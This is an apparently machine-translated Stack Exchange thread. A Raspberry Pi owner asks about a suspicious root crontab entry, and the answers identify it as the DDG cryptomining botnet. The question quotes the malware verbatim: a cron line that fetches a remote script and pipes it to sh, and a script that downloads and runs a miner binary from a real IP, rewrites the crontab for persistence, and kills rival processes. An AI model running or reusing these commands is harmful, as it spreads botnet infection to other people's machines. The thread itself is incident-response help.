Підозрілий запис на клінтах працює "xribfa4" кожні 15 хвилин


59

Я хотів щось додати до мого файлу кореневого кронт-файлу на моєму Raspberry Pi, і знайшов запис, який мені здається підозрілим, в пошуках його частин в Google нічого не виявилося.

Запис Crontab:

*/15 * * * * (/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4||curl -m180 -fsSL http://103.219.112.66:8000/i.sh||wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh

Вміст http://103.219.112.66:8000/i.sh:

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

mkdir -p /var/spool/cron/crontabs
echo "" > /var/spool/cron/root
echo "*/15 * * * * (/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4||curl -fsSL -m180 http://103.219.112.66:8000/i.sh||wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh" >> /var/spool/cron/root
cp -f /var/spool/cron/root /var/spool/cron/crontabs/root

cd /tmp
touch /usr/local/bin/writeable && cd /usr/local/bin/
touch /usr/libexec/writeable && cd /usr/libexec/
touch /usr/bin/writeable && cd /usr/bin/
rm -rf /usr/local/bin/writeable /usr/libexec/writeable /usr/bin/writeable

export PATH=$PATH:$(pwd)
ps auxf | grep -v grep | grep xribfa4 || rm -rf xribfa4
if [ ! -f "xribfa4" ]; then
    curl -fsSL -m1800 http://103.219.112.66:8000/static/4004/ddgs.$(uname -m) -o xribfa4||wget -q -T1800 http://103.219.112.66:8000/static/4004/ddgs.$(uname -m) -O xribfa4
fi
chmod +x xribfa4
/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4

ps auxf | grep -v grep | grep xribbcb | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribbcc | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribbcd | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribbce | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribfa0 | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribfa1 | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribfa2 | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribfa3 | awk '{print $2}' | xargs kill -9

echo "*/15 * * * * (/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4||curl -m180 -fsSL http://103.219.112.66:8000/i.sh||wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh" | crontab -

Мої знання в Linux обмежені, але мені здається, що завантажувати бінарні файли з індонезійського сервера та регулярно їх виконувати як root, це не те, що зазвичай.

Що це? Що я повинен зробити?


16
Це круговий. Кожні 15 хвилин він завантажує та встановлює свіжу копію себе. Якщо / коли зміниться копія на віддаленому сервері, всі сервери, на яких працює цей cronjob, виконають незалежно від нового коду протягом 15 хвилин.
Wildcard

5
Ваш малиновий пі відкритий для Інтернету? Який твій малиновий пі працює? Це єдиний результат в Google, коли я шукаю xribfa4. Якщо ви не працюєте з програмним забезпеченням, яке для цього потрібно зробити, це, швидше за все, вірус.
kemotep

6
@kemotep цей рядок є випадковим, але google для IP, і це дає кілька результатів. Щось про ботнет з видобутку
DDG

9
Я знайшов це. Божевільно, що IP зареєстрований на сайті уряду Індонезії. Крім того, схоже, що майже 2000 інших ips доставляють цю корисну навантаження.
kemotep

21
Головне, про що ви повинні пам’ятати, це те, що навіть якщо ви вилучите цей запис із кронтаб, ваша система, швидше за все, все ще має вразливість, яка дозволила заразитися. Вам потрібно знайти та виправити цю вразливість.
Ганс-Мартін Моснер

Відповіді:


79

Це ботнет DDG для видобутку, як це працює:

  1. використання вразливості RCE
  2. модифікація кронтабу
  3. завантаження відповідної програми майнінгу (написано з go)
  4. запуск процесу видобутку

DDG: майнінг Botnet, спрямований на сервери баз даних

SystemdMiner, коли ботнет запозичує іншу інфраструктуру ботнету

U&L: Як я можу вбити зловмисне програмне забезпечення minerd в екземплярі AWS EC2? (компрометований сервер)


4
Так, насправді здається, що це все. Спасибі! Позначимо це як відповідь, якщо нічого нового не з’явиться.
Пітер Дамба

8
Не забувайте звичайну пораду для вкоріненої машини: спробуйте з’ясувати, як вони потрапили, щоб ви могли зафіксувати отвір. Навчіться цьому і підвищити рівень безпеки. Нарешті, запустити і заново встановити машину.
marcelm

3
Хороша новина полягає в тому, що у них, здається, немає шахтера для Pi, лише для i686 та x86_64.
Позначте

13
@Mark Як це хороша новина? Хтось отримав повний контроль над його Pi, використовуючи невідому точку входу, і мав повний доступ до будь-яких секретів на Pi (включаючи, але не обмежуючись ними, паролі). Незалежно від того, чи працює гірник чи ні, справді перебуває в царині "невеликих незручностей".
marcelm

4
@marcelm, зловмисник отримав повний контроль над ним, і тоді майже точно не зробив нічого важливого з цим контролем.
Марк

2

З'ясуйте, які саме порти TCP та UDP потрібні, а потім заблокуйте всі інші порти в брандмауері маршрутизатора. Можливо , ці записи на кронтабі не з’являться знову.

Ви можете бачити, які порти відкриті та загальнодоступні, скориставшись Shields Up! функція на grc.com .


5
Або він міг виправити вразливість.
Харпер - Відновіть Моніку

1
@Harper Абсолютно! Це дано. Я думав, що, можливо, не заблокувавши спочатку невикористані порти, він може переробитись, коли він намагався виправити його.
Майк Вотерс

1
Відповідний коментар від security.SE: security.stackexchange.com/questions/147770/…
Wildcard

1
Це (не обмежуючись лише TCP та UDP), хоча. Модель Aka з позитивною безпекою, білий список або заборонено за замовчуванням - заперечуйте увесь трафік, який ви явно не використовуєте чи не потребуєте - єдиний спосіб забезпечити проникнення жодної вашої дірки.
антихрис
Використовуючи наш веб-сайт, ви визнаєте, що прочитали та зрозуміли наші Політику щодо файлів cookie та Політику конфіденційності.
Licensed under cc by-sa 3.0 with attribution required.